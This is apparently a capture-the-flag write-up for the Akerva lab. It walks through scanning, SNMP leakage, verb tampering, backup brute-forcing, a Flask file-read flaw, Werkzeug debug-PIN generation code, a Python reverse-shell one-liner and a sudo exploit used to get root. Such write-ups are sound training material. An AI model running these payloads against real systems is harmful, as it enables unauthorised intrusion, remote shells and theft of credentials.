Akerva
This fun fortress from Akerva features a gradual learning curve. It teaches about common developer mistakes while also introducing a very interesting web vector. Prepare to take your skills to the next level!
Enumeration
Rustscan - TCP
sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.13.37.11 -- -sV -sC -oA ./rust/{{ip}}
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 65000.
Open 10.13.37.11:22
Open 10.13.37.11:80
Open 10.13.37.11:5000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.93SVN ( https://nmap.org ) at 2022-11-14 18:04 CET
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.4-alpha-47225
|_http-title: Root of the Universe – by @lydericlefebvre & @akerva_fr
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
5000/tcp open http syn-ack ttl 63 Werkzeug httpd 0.16.0 (Python 2.7.15+)
| http-auth:
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_ Basic realm=Authentication Required
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap - UDP
sudo nmap -v -sU 10.13.37.11
Starting Nmap 7.93SVN ( https://nmap.org ) at 2022-11-14 18:17 CET
Initiating Ping Scan at 18:17
Scanning 10.13.37.11 [4 ports]
Scanning 10.13.37.11 [1000 ports]
UDP Scan Timing: About 4.00% done; ETC: 18:30 (0:12:24 remaining)
UDP Scan Timing: About 6.79% done; ETC: 18:32 (0:13:58 remaining)
UDP Scan Timing: About 21.51% done; ETC: 18:34 (0:13:12 remaining)
UDP Scan Timing: About 27.49% done; ETC: 18:34 (0:12:19 remaining)
UDP Scan Timing: About 33.37% done; ETC: 18:34 (0:11:25 remaining)
Discovered open port 161/udp on 10.13.37.11
Web Recon
Port 80
Just a simple wordpress site running on an Apache httpd 2.4.29
Port 5000
Basic Auth protected Werkzeug httpd in Version 0.16.0
Dirsearch
Let's check for any interesting or maybe hidden directories
dirsearch -u http://10.13.37.11/ -x 404,301
Target: http://10.13.37.11/
[18:21:20] Starting:
[18:21:33] 403 - 276B - /backups/
[18:21:36] 403 - 276B - /dev/
[18:21:41] 200 - 19KB - /license.txt
[18:21:47] 200 - 7KB - /readme.html
[18:21:48] 401 - 458B - /scripts
[18:21:48] 401 - 458B - /scripts/
[18:21:49] 403 - 276B - /server-status
[18:21:55] 302 - 0B - /wp-admin/ -> http://10.13.37.11/wp-login.php?redirect_to=http%3A%2F%2F10.13.37.11%2Fwp-admin%2F&reauth=1
[18:21:55] 200 - 0B - /wp-content/
[18:21:55] 403 - 276B - /wp-content/upgrade/
[18:21:55] 403 - 276B - /wp-content/uploads/
[18:21:55] 403 - 276B - /wp-includes/
Plain Sight
Discovering the first flag was easy as checking the page source of http://10.13.37.11 revealed the flag hidden in a comment.
This is to demonstrate that even a forgotten comment can contain valuable information. Always keep an eye out on page sources for juicy infos like user-names, api routes or even passwords
Take a Look Around
During enumeration I encountered an open UDP Port on Port 161 (SNMP). Let's check if it will reveal any details about the environment
snmpbulkwalk -c public -v2c 10.13.37.11 . >> snmp.log
# Some infos about the system
iso.3.6.1.2.1.1.1.0 = STRING: "Linux Leakage 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64"
iso.3.6.1.2.1.1.3.0 = Timeticks: (44763477) 5 days, 4:20:34.77
iso.3.6.1.2.1.1.4.0 = STRING: "Me <[email protected]>"
iso.3.6.1.2.1.1.5.0 = STRING: "Leakage"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
# Files that could be useful and the next flag
iso.3.6.1.2.1.25.4.2.1.5.1222 = STRING: "/var/www/html/scripts/backup_every_17minutes.sh AKERVA{XXX}"
iso.3.6.1.2.1.25.4.2.1.5.1223 = STRING: "/var/www/html/dev/space_dev.py"
A nice demonstration on why you should always control which data get exposed on publically available endpoints
Dead Poets
Using snmp it's clear that there are two files located on the webserver which seem to be interesting for further anlysis. space_dev.py, backup_every_17minutes.sh
Using wget to get any of those to files will either result in 403 Forbidden or Wrong Username/Password
Let's try it using Verb Tampering
curl -X POST http://10.13.37.11/scripts/backup_every_17minutes.sh
#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{XXX}
#
SAVE_DIR=/var/www/html/backups
while true
do
ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
echo "Erasing old backups..."
rm -rf $SAVE_DIR/*
echo "Backuping..."
zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*
echo "Done..."
sleep 1020
done
Always a nice idea to check if you are able to access file using different verbs. Maybe the webserver was wrongly configured and does only check on GET requests. More infos on 403 & 401 Bypasses
Now You See Me
The script backup_every_17minutes.sh we discovered is used to create backups of our target webpage every 17 minutes.
Backups are saved in /backups/backup_$(date +%Y%m%d%H%M%S)
How to get the backup? I could either try to calculate the next run or just bruteforce it. Math isn't my speciality so I'm going to bruteforce filenames.
Generate a wordlist that should cover around an hour
crunch 4 4 0123456789 -o wordlist.txt to generate wordlist
Get the Date/Time
curl -I http://10.13.37.11
HTTP/1.1 200 OK
Date: Mon, 14 Nov 2022 18:11:24 GMT
Server: Apache/2.4.29 (Ubuntu)
X-Pingback: http://10.13.37.11/xmlrpc.php
Link: <http://10.13.37.11/index.php/wp-json/>; rel="https://api.w.org/"
Link: <http://10.13.37.11/>; rel=shortlink
Content-Type: text/html; charset=UTF-8
Get the file
ffuf -u http://10.13.37.11/backups/backup_2022111418FUZZ.zip -w wordlist.txt
________________________________________________
:: Method : GET
:: URL : http://10.13.37.11/backups/backup_2022111418FUZZ.zip
:: Wordlist : FUZZ: wordlist.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
0804 [Status: 200, Size: 22071775, Words: 0, Lines: 0, Duration: 0ms]
Our File is stored as backup_20221114180804.zip
After downloading and inspecting the content we discover two things, db credentials in wp-config.php and under dev/ the file called space_dev.py with our next flag
Database Credentials
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'wordpress' );
/** MySQL database password */
define( 'DB_PASSWORD', 'ZokDHE_DJ_____enzU)=' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
space_dev.py
#!/usr/bin/python
from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
auth = HTTPBasicAuth()
users = {
"aas": generate_password_hash("AKERVA{XXX}")
}
@auth.verify_password
def verify_password(username, password):
if username in users:
return check_password_hash(users.get(username), password)
return False
@app.route('/')
@auth.login_required
def hello_world():
return 'Hello, World!'
# TODO
@app.route('/download')
@auth.login_required
def download():
return downloaded_file
@app.route("/file")
@auth.login_required
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return 'error'
if __name__ == '__main__':
print(app)
print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
app.run(host='0.0.0.0', port='5000', debug = True)
Open Book
Next in our list is the application running on port 5000.
What do we already know?
Werkzeug httpd 0.16.0
Python 2.7.15+
Uses Flask
User: aas Password: AKERVA{XXX}
Routes /file, /download
Debug = True that means we should have acess to /console
LFI on route /file
POC: http://10.13.37.11:5000/file?filename=/etc/passwd
Leaked Environment Infos on /download
POC: http://10.13.37.11:5000/download
Our flag is located at /home/aas/flag.txt
Say Friend and Enter
Visiting http://10.13.37.11/5000/console will display the debugging console which is protected by a pin. Since we already found a LFI and are able to identify which python version is used I will use that to generate a pin based on system infos - Hacktricks - Werkzeug PIN Exploit
First I get infos that are needed to generate the pin
MAC: http://10.13.37.11:5000/file?filename=/sys/class/net/ens33/address
(Convert using: Vaultr) Machine-ID: http://10.13.37.11:5000/file?filename=/etc/machine-id
User: http://10.13.37.11:5000/file?filename=/etc/passwd
(Guessed it was aas)
import hashlib
from itertools import chain
probably_public_bits = [
'aas',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
private_bits = [
'345052354586',# str(uuid.getnode()), /sys/class/net/ens33/address
'258f132cd7e647caaf5510e3aca997c1'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Running the script will generate the pin to enter console 245-971-816
We are now able to run commands and get a reverse shell using following command
import os,pty,socket;s=socket.socket();s.connect(("XXX.XXX.XXX.XXX",4000));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
Our flag is located at /home/aas/.hiddenflag.txt
Super Mushroom
After getting the shell it's always good to check the system for any privesc paths. I used linpeas to get an overview about the system
Two things jumped directly at me
Sudo version 1.8.21p2
CVE-2021-4034
CVE-2021-4034 wasn't exploitable during my enumeration phase so I would say it's a false positive.
Sudo V. 1.8.21p2 can be exploited using a known exploit CVE-2019-18634 - SUDO-CVE-2019-18634
I compiled the exploit on my host using the Makefile and transfered it to my target using pwncat-cs framework which handles my reverse shells and listeners
The flag is located at /root/flag.txt
\[\](remote)\[\] \[\]root@Leakage\[\]:\[\]/root\[\]$ cat /root/flag.txt
AKERVA{XkXow_SuX0_sXckXX}
Little Secret
Last but not least the challenge that's not my usual business.
In /root there's a file called secured_note.md which seems to be encrypted by some kind of cipher.
secured_note.md
R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK
I used CyberChef to identify that it's an base64 encoded string and used Cyberchef to decode it
GOAHGHEEGSAEEHACEGULREPEEECEOKMKERFSESFRLKERUKTSVPMSSNHSKRFFAGIAPVETCNMDLVFHDAOGFLAFGSKEULMVOOWWCAHCRFVVNVHVCMSYELSPMIHHMODAUKHE
I was able to identify the most probable ciphers using decode.fr
Two-Squre Cipher
Vigenere Cipher
Autoclave Cipher
To be honest I just had a gut feeling that Vigenere would be the right choice due to Akerva beeing a french company
Using decode.fr - vigenere was pretty easy as I just had to modify the alphabet of used letters and the Automatic Decryption did the rest
Used Alphabet
ACDEFGHIKLMNOPRSTUVWY
Decryption Results
# Possible Key
ILOVESPAC?
Key ILOVESPACE decrypted the message perfectly
WELL DONE FOR SOLVING THIS CHALLENGE YOU CAN SEND YOUR RESUME HERE AT RECRUTEMENT AKERVA COMAND VALIDATE THE LAST FLAG WITH XXXX
Last updated